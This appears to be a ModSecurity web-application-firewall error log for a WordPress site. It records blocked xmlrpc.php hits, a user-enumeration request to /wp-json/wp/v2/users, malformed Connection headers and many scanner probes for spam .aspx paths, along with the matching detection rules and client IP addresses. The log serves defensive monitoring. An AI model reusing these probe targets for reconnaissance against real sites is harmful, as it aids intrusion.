[Fri May 08 06:56:41.423055 2026] [:error] [pid 61356:tid 61403] [client 74.7.243.219:37566] [client 74.7.243.219] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.243.219, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af0YqYx3vpB8oWhUq2N5hwAAAc8"], referer: https://gigfragments.org/
[Fri May 08 09:45:20.808250 2026] [:error] [pid 61317:tid 61336] [client 86.184.211.54:65157] [client 86.184.211.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 86.184.211.54, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af1AMM-fFk_CedOCOYtY1gAAAVA"]
[Fri May 08 09:45:30.980514 2026] [:error] [pid 51113:tid 51132] [client 86.184.211.54:49166] [client 86.184.211.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 86.184.211.54, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af1AOkQfs7sWtqkpQIdDBwAAANE"]
[Fri May 08 09:45:41.497537 2026] [:error] [pid 51009:tid 51094] [client 86.184.211.54:49508] [client 86.184.211.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 86.184.211.54, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af1AReB0GbUWhxgzX9XCmwAAAJI"]
[Fri May 08 09:45:52.007523 2026] [:error] [pid 51007:tid 51031] [client 86.184.211.54:49855] [client 86.184.211.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 86.184.211.54, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af1AUFMagSGstWKyzzWiZgAAAAk"]
[Fri May 08 09:46:02.549070 2026] [:error] [pid 61317:tid 61330] [client 86.184.211.54:50202] [client 86.184.211.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 86.184.211.54, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af1AWs-fFk_CedOCOYtZEgAAAUo"]
[Fri May 08 11:34:12.684018 2026] [:error] [pid 61355:tid 61379] [client 49.51.180.2:60238] [client 49.51.180.2] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "af1ZtPkhJTi30CBXmMkmfAAAAZI"]
[Fri May 08 12:28:43.241890 2026] [:error] [pid 61356:tid 61409] [client 152.58.134.6:60459] [client 152.58.134.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.58.134.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af1me4x3vpB8oWhUq2Pz9gAAAdU"]
[Fri May 08 12:28:51.784731 2026] [:error] [pid 51009:tid 51098] [client 152.58.134.6:60921] [client 152.58.134.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.58.134.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af1mg-B0GbUWhxgzX9XTMQAAAJY"]
[Fri May 08 12:29:02.534801 2026] [:error] [pid 51009:tid 51094] [client 152.58.134.6:61349] [client 152.58.134.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.58.134.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af1mjuB0GbUWhxgzX9XTZgAAAJI"]
[Fri May 08 12:29:13.357555 2026] [:error] [pid 61356:tid 61399] [client 152.58.134.6:61722] [client 152.58.134.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.58.134.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af1mmYx3vpB8oWhUq2P0VwAAAcs"]
[Fri May 08 12:29:24.124348 2026] [:error] [pid 61355:tid 61363] [client 152.58.134.6:62101] [client 152.58.134.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.58.134.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af1mpPkhJTi30CBXmMkymAAAAYI"]
[Fri May 08 13:45:42.911724 2026] [:error] [pid 51009:tid 51087] [client 112.134.173.246:9524] [client 112.134.173.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.134.173.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af14huB0GbUWhxgzX9XifgAAAIs"]
[Fri May 08 14:04:42.138328 2026] [:error] [pid 61356:tid 61405] [client 112.134.173.246:10030] [client 112.134.173.246] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "af18-ox3vpB8oWhUq2MWPQAAAdE"]
[Fri May 08 14:05:50.127797 2026] [:error] [pid 61356:tid 61392] [client 112.134.173.246:9375] [client 112.134.173.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.134.173.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af19Pox3vpB8oWhUq2MWqgAAAcQ"]
[Fri May 08 14:06:37.624533 2026] [:error] [pid 51113:tid 51129] [client 112.134.173.246:11059] [client 112.134.173.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.134.173.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af19bUQfs7sWtqkpQIdWdQAAAM4"]
[Fri May 08 14:07:20.731225 2026] [:error] [pid 61355:tid 61366] [client 112.134.173.246:10179] [client 112.134.173.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.134.173.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af19mPkhJTi30CBXmMlJawAAAYU"]
[Fri May 08 14:08:09.911513 2026] [:error] [pid 51113:tid 51128] [client 112.134.173.246:10196] [client 112.134.173.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.134.173.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "af19yUQfs7sWtqkpQIdWhAAAAM0"]
[Fri May 08 14:41:30.895691 2026] [:error] [pid 61355:tid 61385] [client 139.155.126.16:43416] [client 139.155.126.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "af2FmvkhJTi30CBXmMlSoQAAAZg"]
[Fri May 08 15:28:56.887820 2026] [:error] [pid 51008:tid 51066] [client 34.122.144.100:50697] [client 34.122.144.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "af2QuHB58C2Y1tgLtuJzpwAAAFE"]
[Fri May 08 15:28:57.272721 2026] [:error] [pid 61355:tid 61375] [client 34.122.144.100:61441] [client 34.122.144.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "af2QufkhJTi30CBXmMlesQAAAY4"]
[Fri May 08 15:28:57.723876 2026] [:error] [pid 51008:tid 51054] [client 34.122.144.100:60179] [client 34.122.144.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "af2QuXB58C2Y1tgLtuJztgAAAEU"]
[Fri May 08 16:09:25.397134 2026] [:error] [pid 34318:tid 34326] [client 217.182.195.225:43120] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "af2aNcr3guirgJiKhzC-ZwAAAQY"]
[Fri May 08 16:09:27.994112 2026] [:error] [pid 51113:tid 51115] [client 217.182.195.225:45306] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "af2aN0Qfs7sWtqkpQIdfvAAAAMA"]
[Fri May 08 16:09:30.228373 2026] [:error] [pid 51009:tid 51087] [client 217.182.195.225:45318] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "af2aOuB0GbUWhxgzX9X-RwAAAIs"]
[Fri May 08 16:09:32.605662 2026] [:error] [pid 51009:tid 51093] [client 217.182.195.225:45326] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "af2aPOB0GbUWhxgzX9X-SgAAAJE"]
[Fri May 08 16:09:34.740686 2026] [:error] [pid 61355:tid 61377] [client 217.182.195.225:45334] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "af2aPvkhJTi30CBXmMllLwAAAZA"]
[Fri May 08 16:09:36.772681 2026] [:error] [pid 51009:tid 51078] [client 217.182.195.225:50774] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "af2aQOB0GbUWhxgzX9X-TgAAAII"]
[Fri May 08 16:09:38.914778 2026] [:error] [pid 34318:tid 34331] [client 217.182.195.225:50786] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "af2aQsr3guirgJiKhzC-aQAAAQs"]
[Fri May 08 16:09:41.302077 2026] [:error] [pid 51009:tid 51083] [client 217.182.195.225:50788] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "af2aReB0GbUWhxgzX9X-UQAAAIc"]
[Fri May 08 16:09:43.415995 2026] [:error] [pid 51007:tid 51032] [client 217.182.195.225:50794] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "af2aR1MagSGstWKyzzXLAgAAAAo"]
[Fri May 08 16:09:45.577988 2026] [:error] [pid 61317:tid 61335] [client 217.182.195.225:50800] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "af2aSc-fFk_CedOCOYuZNAAAAU8"]
[Fri May 08 16:09:47.776421 2026] [:error] [pid 34318:tid 34322] [client 217.182.195.225:54896] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "af2aS8r3guirgJiKhzC-bgAAAQI"]
[Fri May 08 16:09:49.606146 2026] [:error] [pid 61356:tid 61400] [client 217.182.195.225:54910] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "af2aTYx3vpB8oWhUq2NAAwAAAcw"]
[Fri May 08 16:09:51.655572 2026] [:error] [pid 51008:tid 51056] [client 217.182.195.225:54926] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "af2aT3B58C2Y1tgLtuJ4HwAAAEc"]
[Fri May 08 16:09:53.945780 2026] [:error] [pid 51009:tid 51099] [client 217.182.195.225:54928] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "af2aUeB0GbUWhxgzX9X-XAAAAJc"]
[Fri May 08 16:09:56.069226 2026] [:error] [pid 61356:tid 61407] [client 217.182.195.225:54936] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "af2aVIx3vpB8oWhUq2NADAAAAdM"]
[Fri May 08 16:09:58.244330 2026] [:error] [pid 61317:tid 61335] [client 217.182.195.225:58508] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "af2aVs-fFk_CedOCOYuZPgAAAU8"]
[Fri May 08 16:10:00.213310 2026] [:error] [pid 61355:tid 61372] [client 217.182.195.225:58510] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "af2aWPkhJTi30CBXmMllYQAAAYs"]
[Fri May 08 16:10:02.248077 2026] [:error] [pid 61355:tid 61373] [client 217.182.195.225:58526] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "af2aWvkhJTi30CBXmMllYwAAAYw"]
[Fri May 08 16:10:04.254116 2026] [:error] [pid 34318:tid 34329] [client 217.182.195.225:58534] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "af2aXMr3guirgJiKhzC-cAAAAQk"]
[Fri May 08 16:10:06.483384 2026] [:error] [pid 51009:tid 51086] [client 217.182.195.225:42336] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "af2aXuB0GbUWhxgzX9X-aAAAAIo"]
[Fri May 08 16:10:08.534228 2026] [:error] [pid 61356:tid 61401] [client 217.182.195.225:42342] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "af2aYIx3vpB8oWhUq2NAHgAAAc0"]
[Fri May 08 16:10:10.442571 2026] [:error] [pid 61356:tid 61411] [client 217.182.195.225:42350] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "af2aYox3vpB8oWhUq2NAIAAAAdc"]
[Fri May 08 16:10:12.495935 2026] [:error] [pid 61356:tid 61407] [client 217.182.195.225:42366] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "af2aZIx3vpB8oWhUq2NAJgAAAdM"]
[Fri May 08 16:10:14.560650 2026] [:error] [pid 61356:tid 61396] [client 217.182.195.225:42380] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "af2aZox3vpB8oWhUq2NAKAAAAcg"]
[Fri May 08 16:10:16.690705 2026] [:error] [pid 61356:tid 61392] [client 217.182.195.225:51738] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "af2aaIx3vpB8oWhUq2NAKgAAAcQ"]
[Fri May 08 16:10:18.704286 2026] [:error] [pid 51009:tid 51079] [client 217.182.195.225:51740] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "af2aauB0GbUWhxgzX9X-cQAAAIM"]
[Fri May 08 16:10:20.614774 2026] [:error] [pid 51007:tid 51025] [client 217.182.195.225:51744] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "af2abFMagSGstWKyzzXLDwAAAAM"]
[Fri May 08 17:22:01.939358 2026] [:error] [pid 61355:tid 61363] [client 217.182.195.225:47088] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "af2rOfkhJTi30CBXmMl24AAAAYI"]
[Fri May 08 17:22:03.897509 2026] [:error] [pid 51008:tid 51059] [client 217.182.195.225:38164] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "af2rO3B58C2Y1tgLtuKBEAAAAEo"]
[Fri May 08 17:22:05.920549 2026] [:error] [pid 61317:tid 61336] [client 217.182.195.225:38172] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "af2rPc-fFk_CedOCOYukZQAAAVA"]
[Fri May 08 17:22:07.942701 2026] [:error] [pid 51008:tid 51068] [client 217.182.195.225:33670] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "af2rP3B58C2Y1tgLtuKBFAAAAFM"]
[Fri May 08 17:22:09.806578 2026] [:error] [pid 61355:tid 61376] [client 217.182.195.225:33678] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "af2rQfkhJTi30CBXmMl24wAAAY8"]
[Fri May 08 17:22:11.822503 2026] [:error] [pid 61356:tid 61390] [client 217.182.195.225:33682] [client 217.182.195.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "af2rQ4x3vpB8oWhUq2NX7wAAAcI"]
